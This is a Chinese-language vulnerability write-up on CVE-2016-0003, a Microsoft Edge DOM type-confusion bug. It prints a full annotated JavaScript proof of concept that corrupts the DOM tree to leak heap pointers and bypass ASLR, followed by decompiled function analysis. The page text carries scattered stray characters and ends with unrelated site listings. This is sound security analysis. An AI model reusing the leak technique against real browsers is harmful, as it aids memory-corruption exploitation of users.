CVE-2016-0003 Microsoft Edge TextData Type Confusion Information Disclosure Vulnerability

1. Vulnerability Description

1.1 The Issue

MS Edge CDOMTextNode::get_data type confusion

特別構(gòu)造的JavaScript腳本可以觸發(fā)Microsoft Edge的type confusion廉羔,使得可以像訪問字符串一樣訪問C++對象。 這可能導(dǎo)致信息泄露鹃觉,例如允許攻擊者確定指向其他對象或函數(shù)的指針的值蝗蛙。

1.2 Affect version

Microsoft Edge 20.10240.16384.0

1.3 Timeline

01/12/2016 Advisory disclosed
01/12/2016 +0 days Countermeasure disclosed
01/12/2016 +0 days SecurityTracker entry created
01/12/2016 +0 days VulnerabilityCenter entry assigned
01/13/2016 +1 days VulnerabilityCenter entry created
01/14/2016 +1 days VulDB entry created
01/17/2016 +3 days VulnerabilityCenter entry updated
01/19/2016 +2 days VulDB last update

2. Technical description and PoC

2.1 Description

在DOM樹中將一個節(jié)點(diǎn)作為子節(jié)點(diǎn)加到另一個節(jié)點(diǎn)時蠢莺,Edge首先從其父節(jié)點(diǎn)中刪除該節(jié)點(diǎn)宁玫,觸發(fā)DOMNodeRemoved事件丛肮,然后重新附加該節(jié)點(diǎn)作為另一個節(jié)點(diǎn)的最后一個子節(jié)點(diǎn)洲守。
而在DOMNodeRemoved事件發(fā)生時轩娶,JavaScript的事件處理器可以更改DOM樹儿奶,我們嘗試在觸發(fā)DOMNodeRemoved事件時向同一個父節(jié)點(diǎn)插入另一個文本子節(jié)點(diǎn),這個操作在事件期間完成鳄抒,因此該文本子節(jié)點(diǎn)在觸發(fā)事件的節(jié)點(diǎn)之前作為子節(jié)點(diǎn)附加闯捎。
而在觸發(fā)DOMNodeRemoved事件處理程序之前,代碼似乎確定了節(jié)點(diǎn)應(yīng)該被附加的位置许溅,因此最開始插入的節(jié)點(diǎn)在父文本節(jié)點(diǎn)之前而不是之后被插入瓤鼻。
因?yàn)閎ug的存在,在完成所有這些操作后贤重,DOM樹已被破壞茬祷。這可以通過檢查文本節(jié)點(diǎn)的.nextSibling屬性是文本節(jié)點(diǎn)本身來確認(rèn), 即DOM樹中有一個循環(huán)。
另一個效果是并蝗,讀取文本節(jié)點(diǎn)的nodeValue將導(dǎo)致類型混淆祭犯。這里Edge訪問文本節(jié)點(diǎn)中存儲的文本數(shù)據(jù)時秸妥,實(shí)際訪問的卻是一個C++對象。這樣可以讓攻擊者讀取存儲在這個C++對象中的數(shù)據(jù)沃粗,其中包含各種指針粥惧。

2.2 JavaScript PoC

Skylined給出了一個讀取并顯示DOM樹對象的部分內(nèi)容的PoC僧界。該P(yáng)oC已經(jīng)在x64系統(tǒng)上進(jìn)行了測試肝劲,允許攻擊者繞過堆ASLR,讀取堆指針崎淳。

讀取的數(shù)據(jù)量可以由攻擊者控制涡贱,并且可以讀取分配給C++對象的內(nèi)存之外的數(shù)據(jù)挂签。攻擊者可能能夠使用一些堆的技巧將其他對象與C++DOM樹對象中的有用信息放置在內(nèi)存中,并從第二個對象讀取數(shù)據(jù)盼产。

exp如下

<html>
  <head>
    <script>
      var uNodeRemovedEvents = 0;
      onerror = function (sError, sSource, uLine){
        alert(sError + " on line " + uLine);
      };
      
      document.addEventListener("DOMNodeRemoved", function(oEvent) {
        if (uNodeRemovedEvents++ == 0) {
          oTextNode = document.createTextNode("[2]");
          // 這里有一個需要注意的地方
          // insertBefore在Edge中如果沒有第二個參數(shù),那么等同于appendChild
          // 但是其他瀏覽器是不支持的
          // 作者這里用insertBefore是為了更好的去判斷是否有一個堆因?yàn)榇颂幉僮鞅籥llocated
          // 用于和之后的appendChild調(diào)用區(qū)分開
          document.body.insertBefore(oTextNode);
        };
      }, true);
      
      onload = function(){
        // onload中首先執(zhí)行的是appendChild
        // 這里oExistingChild已經(jīng)有了父節(jié)點(diǎn)勺馆,所以會先從父節(jié)點(diǎn)移除這個元素戏售,然后把它作為新父節(jié)點(diǎn)的最后一個子節(jié)點(diǎn)
        // 其中移除操作會觸發(fā)DOMNodeRemoved事件,而增加操作會觸發(fā)DOMNodeInserted事件草穆。
        document.body.appendChild(oExistingChild);
        // 但是灌灾,在oExistingChild觸發(fā)DOMNodeRemoved事件時,
        // oTextNode插入了節(jié)點(diǎn)中
        // 最后oExistingChild成為了最后一個元素
        // 但是這里出現(xiàn)了一個bug
        // oTextNode的nextSibling指向了自己
        // 在這里悲柱,DOM樹出現(xiàn)了一種類似循環(huán)的結(jié)構(gòu)
        for (var oNode = document.body.firstChild; oNode && oNode != oNode.nextSibling; oNode = oNode.nextSibling) {
            // 加上這段代碼是為了防止被Edge檢測到樹的結(jié)構(gòu)出現(xiàn)了問題
            // 如果沒有這段代碼Js執(zhí)行到這里的時候就會崩潰
        }

        if (oTextNode.nextSibling !== oTextNode) {
            // 未觸發(fā)漏洞時報錯
          throw new Error("Tree is not corrupt");
        }
        
        alert("Set breakpoints if needed");
        // 這里是為了生成一個copy
        var sData = ("A" + oTextNode.nodeValue).substr(1);
        // 下面的邏輯是讀取oTextNode.nodeValue的值
        // 但實(shí)際上是內(nèi)存中某塊的位置
        // 在讀取之后按規(guī)則格式化輸出
        var sHexData = "Read 0x" + sData.length.toString(16); 
        sHexData += " bytes: ????????`????????";
        sHexQWord = "`????????";
        for (var uBytes = 4, uOffset = 4, uIndex = 0; uIndex < sData.length; uIndex++) {
          var sHexWord = sData.charCodeAt(uIndex).toString(16);
          while (sHexWord.length < 4) sHexWord = "0" + sHexWord;
          sHexQWord = sHexWord + sHexQWord;
          uBytes += 2;
          if (uBytes == 4) sHexQWord = "`" + sHexQWord;
          if (uBytes == 8) {
            sHexData += " " + sHexQWord;
            sHexQWord = "";
            uBytes = 0;
          };
        };
        if (sHexQWord) {
          while (sHexQWord.length < 17) {
            if (sHexQWord.length == 8) sHexQWord += "`";
            sHexQWord = "????" + sHexQWord;
          }
          sHexData += " " + sHexQWord;
        }
        alert(sHexData);
        // 代碼執(zhí)行到這里的時候會crash
        // 但是這里已經(jīng)可以讀取棧上的數(shù)據(jù)了
        oTextNode.nodeValue = "";
      };
    </script>
  </head>
  <body>x<x id=oExistingChild></x></body>
</html>

2.3 Code Analyze

上面這個利用流程锋喜,比較關(guān)鍵的幾個函數(shù)是CDOMTextNode::get_data、CDOMTextNode::get_length

讀取數(shù)據(jù)的函數(shù)是CDOMTextNode::get_data豌鸡,代碼如下

__int64 __fastcall CDOMTextNode::get_data(CDOMTextNode *this, unsigned __int16 **a2)
{
  unsigned __int16 **v2; // rbx@1
  CDOMTextNode *this_rdi; // rdi@1
  Tree::TextData *v4; // rcx@2
  __int32 v5; // eax@4
  BSTR v6; // rax@4
  int v7; // ebp@4
  struct CTreePos *v8; // rax@4
  struct CTreePos *v9; // rsi@4
  Tree::TextNode *v10; // rdi@4
  unsigned __int16 *v11; // rax@5
  Tree::ANode *v12; // rax@5
  CTreePos *v13; // rcx@6
  __int64 v14; // r9@9
  const OLECHAR *v15; // rax@9
  UINT v16; // er9@9
  BSTR v17; // rax@9
  UINT ui; // [sp+48h] [bp+10h]@4
  unsigned __int32 v20; // [sp+50h] [bp+18h]@5

  v2 = a2;
  this_rdi = this;
  if ( a2 )
  {
    *a2 = 0i64;
    v4 = (Tree::TextData *)*((_QWORD *)this + 6);
    if ( v4 )
    {
      v14 = *(_DWORD *)v4;
      v15 = Tree::TextData::GetText(v4, 0, 0i64);
      v17 = SysAllocStringLen(v15, v16);
      *v2 = (unsigned __int16 *)Abandonment::CheckAllocationUntyped(v17);
    }
    else if ( CDOMTextNode::IsPositioned(this_rdi) )
    {
      ui = 0;
      v5 = CDOMTextNode::get_length(this_rdi, (__int32 *)&ui);
      Abandonment::CheckHRESULTStrict(v5);
      v6 = SysAllocStringLen(0i64, ui);
      *v2 = (unsigned __int16 *)Abandonment::CheckAllocationUntyped(v6);
      v7 = 0;
      LODWORD(v8) = Tree::TextNode::TextNodeFromDOMTextNode((__int64)this_rdi);
      v9 = v8;
      v10 = v8;
      do
      {
        v11 = Tree::TextNode::Text(v10, 0, &v20);
        memcpy_s(&(*v2)[v7], 2i64 * (signed int)(ui - v7), v11, 2i64 * v20);
        v7 += v20;
        v12 = Tree::TreeReader::GetNextSiblingWithFilter(
                v10,
                (enum Tree::NodeFilterResultsEnum (__stdcall __high static *)(const struct Tree::ANode *))&Dom::TreeReader::ScriptableIdentityFilter);
        v10 = v12;
      }
      while ( v12 && Tree::ANode::IsTextNode(v12) && CTreePos::IsSameTextOrCDataNode(v13, v9) );
    }
  }
  return 0i64;
}

在函數(shù)中有一次調(diào)用
CDOMTextNode::get_length(this_rdi, (__int32 *)&ui)
代碼如下嘿般,其中a2的值是ui,也就是0涯冠,而CDOMTextNode::IsPositioned(this)返回值為真炉奴,即進(jìn)入了第二個邏輯,在該邏輯中進(jìn)行了長度的處理

獲取長度后蛇更,則在get_data函數(shù)中瞻赶,在memcpy_s(&(*v2)[v7], 2i64 * (signed int)(ui - v7), v11, 2i64 * v20)這行代碼利用memcpy_s不斷讀取內(nèi)存中的值至長度到達(dá)之前get_length函數(shù)返回的值位置。

這里讀取的是v11指向中保存地址指向的值派任,那我們再上溯砸逊,v11 = Tree::TextNode::Text(v10, 0, &v20);,其中v10的值是Tree::TextNode::TextNodeFromDOMTextNode返回的一個結(jié)構(gòu)體指針掌逛,而調(diào)用該函數(shù)的參數(shù)是rcx师逸。

__int64 __fastcall CDOMTextNode::get_length(CDOMTextNode *this, __int32 *a2)
{
  __int32 *v2; // rax@1
  signed int v3; // ebx@1
  __int32 *v4; // rsi@1
  CDOMTextNode *v5; // rdi@1
  struct CTreePos *v7; // rax@6
  struct CTreePos *v8; // rbp@6
  struct CTreePos *v9; // r11@6
  __int32 v10; // edi@6
  Tree::ANode *v11; // rax@7
  CTreePos *v12; // rcx@8

  v2 = (__int32 *)*((_QWORD *)this + 6);
  v3 = 0;
  v4 = a2;
  v5 = this;
  if ( v2 )
  {
    *a2 = *v2;
  }
  else if ( CDOMTextNode::IsPositioned(this) )
  {
    LODWORD(v7) = Tree::TextNode::TextNodeFromDOMTextNode((__int64)v5);
    v8 = v7;
    v9 = v7;
    v10 = 0;
    do
    {
      v10 += **((_DWORD **)v9 + 7);
      v11 = Tree::TreeReader::GetNextSiblingWithFilter(
              v9,
              (enum Tree::NodeFilterResultsEnum (__stdcall __high static *)(const struct Tree::ANode *))&Dom::TreeReader::ScriptableIdentityFilter);
    }
    while ( v11 && Tree::ANode::IsTextNode(v11) && CTreePos::IsSameTextOrCDataNode(v12, v8) );
    *v4 = v10;
  }
  else
  {
    v3 = -2147024809;
  }
  return (unsigned int)v3;
}

2.4 Dynamic Analysis

對get_data下斷點(diǎn)后開始單步跟蹤,發(fā)現(xiàn)這里get_length函數(shù)的返回值和節(jié)點(diǎn)oExistingChild的長度相關(guān)颤诀,也就是說字旭,這里出現(xiàn)了一個bug对湃,在本來應(yīng)該讀取textnode的長度的時候,返回了一個和oExistingChild長度相關(guān)的數(shù)值遗淳,即我們可以一定程度上控制讀取的數(shù)據(jù)長度拍柒,當(dāng)然,這里數(shù)據(jù)如果太長屈暗,在讀取的時候會觸發(fā)一個訪問錯誤拆讯,導(dǎo)致進(jìn)程崩潰無法繼續(xù)讀取。

最后結(jié)合動態(tài)調(diào)試和代碼分析發(fā)現(xiàn)length是從結(jié)構(gòu)體指針處偏移0x1c的位置指向的指針指向的位置中取出來养叛,即first_struct->other_struct->length种呐。而讀取的地址位置則是結(jié)構(gòu)體指針偏移0xC的位置。

3. References

1. zerodayinitiative
2. microsoft
3. securitytracker
4. cve.mitre.org
5. vuldb
6. skylined blog

最后編輯于
?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請聯(lián)系作者
  • 序言:七十年代末弃甥,一起剝皮案震驚了整個濱河市爽室,隨后出現(xiàn)的幾起案子,更是在濱河造成了極大的恐慌淆攻,老刑警劉巖阔墩,帶你破解...
    沈念sama閱讀 218,858評論 6 508
  • 序言:濱河連續(xù)發(fā)生了三起死亡事件,死亡現(xiàn)場離奇詭異瓶珊,居然都是意外死亡啸箫,警方通過查閱死者的電腦和手機(jī),發(fā)現(xiàn)死者居然都...
    沈念sama閱讀 93,372評論 3 395
  • 文/潘曉璐 我一進(jìn)店門伞芹,熙熙樓的掌柜王于貴愁眉苦臉地迎上來忘苛,“玉大人,你說我怎么就攤上這事唱较≡伲” “怎么了?”我有些...
    開封第一講書人閱讀 165,282評論 0 356
  • 文/不壞的土叔 我叫張陵南缓,是天一觀的道長稽屏。 經(jīng)常有香客問我,道長西乖,這世上最難降的妖魔是什么狐榔? 我笑而不...
    開封第一講書人閱讀 58,842評論 1 295
  • 正文 為了忘掉前任,我火速辦了婚禮获雕,結(jié)果婚禮上薄腻,老公的妹妹穿的比我還像新娘。我一直安慰自己届案,他們只是感情好庵楷,可當(dāng)我...
    茶點(diǎn)故事閱讀 67,857評論 6 392
  • 文/花漫 我一把揭開白布。 她就那樣靜靜地躺著,像睡著了一般尽纽。 火紅的嫁衣襯著肌膚如雪咐蚯。 梳的紋絲不亂的頭發(fā)上,一...
    開封第一講書人閱讀 51,679評論 1 305
  • 那天弄贿,我揣著相機(jī)與錄音春锋,去河邊找鬼。 笑死差凹,一個胖子當(dāng)著我的面吹牛期奔,可吹牛的內(nèi)容都是我干的。 我是一名探鬼主播危尿,決...
    沈念sama閱讀 40,406評論 3 418
  • 文/蒼蘭香墨 我猛地睜開眼呐萌,長吁一口氣:“原來是場噩夢啊……” “哼!你這毒婦竟也來了谊娇?” 一聲冷哼從身側(cè)響起肺孤,我...
    開封第一講書人閱讀 39,311評論 0 276
  • 序言:老撾萬榮一對情侶失蹤,失蹤者是張志新(化名)和其女友劉穎济欢,沒想到半個月后渠旁,有當(dāng)?shù)厝嗽跇淞掷锇l(fā)現(xiàn)了一具尸體,經(jīng)...
    沈念sama閱讀 45,767評論 1 315
  • 正文 獨(dú)居荒郊野嶺守林人離奇死亡船逮,尸身上長有42處帶血的膿包…… 初始之章·張勛 以下內(nèi)容為張勛視角 年9月15日...
    茶點(diǎn)故事閱讀 37,945評論 3 336
  • 正文 我和宋清朗相戀三年,在試婚紗的時候發(fā)現(xiàn)自己被綠了粤铭。 大學(xué)時的朋友給我發(fā)了我未婚夫和他白月光在一起吃飯的照片挖胃。...
    茶點(diǎn)故事閱讀 40,090評論 1 350
  • 序言:一個原本活蹦亂跳的男人離奇死亡,死狀恐怖梆惯,靈堂內(nèi)的尸體忽然破棺而出酱鸭,到底是詐尸還是另有隱情,我是刑警寧澤垛吗,帶...
    沈念sama閱讀 35,785評論 5 346
  • 正文 年R本政府宣布凹髓,位于F島的核電站,受9級特大地震影響怯屉,放射性物質(zhì)發(fā)生泄漏蔚舀。R本人自食惡果不足惜,卻給世界環(huán)境...
    茶點(diǎn)故事閱讀 41,420評論 3 331
  • 文/蒙蒙 一锨络、第九天 我趴在偏房一處隱蔽的房頂上張望赌躺。 院中可真熱鬧,春花似錦羡儿、人聲如沸礼患。這莊子的主人今日做“春日...
    開封第一講書人閱讀 31,988評論 0 22
  • 文/蒼蘭香墨 我抬頭看了看天上的太陽缅叠。三九已至悄泥,卻和暖如春,著一層夾襖步出監(jiān)牢的瞬間肤粱,已是汗流浹背弹囚。 一陣腳步聲響...
    開封第一講書人閱讀 33,101評論 1 271
  • 我被黑心中介騙來泰國打工, 沒想到剛下飛機(jī)就差點(diǎn)兒被人妖公主榨干…… 1. 我叫王不留狼犯,地道東北人余寥。 一個月前我還...
    沈念sama閱讀 48,298評論 3 372
  • 正文 我出身青樓,卻偏偏與公主長得像悯森,于是被迫代替她去往敵國和親宋舷。 傳聞我的和親對象是個殘疾皇子,可洞房花燭夜當(dāng)晚...
    茶點(diǎn)故事閱讀 45,033評論 2 355

推薦閱讀更多精彩內(nèi)容

  • php usleep() 函數(shù)延遲代碼執(zhí)行若干微秒瓢姻。 unpack() 函數(shù)從二進(jìn)制字符串對數(shù)據(jù)進(jìn)行解包祝蝠。 uni...
    思夢PHP閱讀 1,984評論 1 24
  • *面試心聲:其實(shí)這些題本人都沒怎么背,但是在上海 兩周半 面了大約10家 收到差不多3個offer,總結(jié)起來就是把...
    Dove_iOS閱讀 27,146評論 30 470
  • PHP常用函數(shù)大全 usleep() 函數(shù)延遲代碼執(zhí)行若干微秒。 unpack() 函數(shù)從二進(jìn)制字符串對數(shù)據(jù)進(jìn)行解...
    上街買菜丶迷倒老太閱讀 1,369評論 0 20
  • 我如愿以償?shù)囊姷搅饲卣芑眉睿诮衲甑膰鴳c節(jié)绎狭。 中秋節(jié)的時候,秦哲跟我說褥傍,我回來了儡嘶。 我該怎樣形容當(dāng)時的心情呢?忽如一夜...
    如果玻璃會說話z閱讀 174評論 0 0
  • 不管你走了多遠(yuǎn) 家鄉(xiāng)的感覺總在心間 家鄉(xiāng)的山永遠(yuǎn)那么高 家鄉(xiāng)的樹水遠(yuǎn)那么綠 家鄉(xiāng)的水永遠(yuǎn)那么甜 家鄉(xiāng)的花兒永遠(yuǎn)那么...
    敕勒川云海峰閱讀 306評論 1 4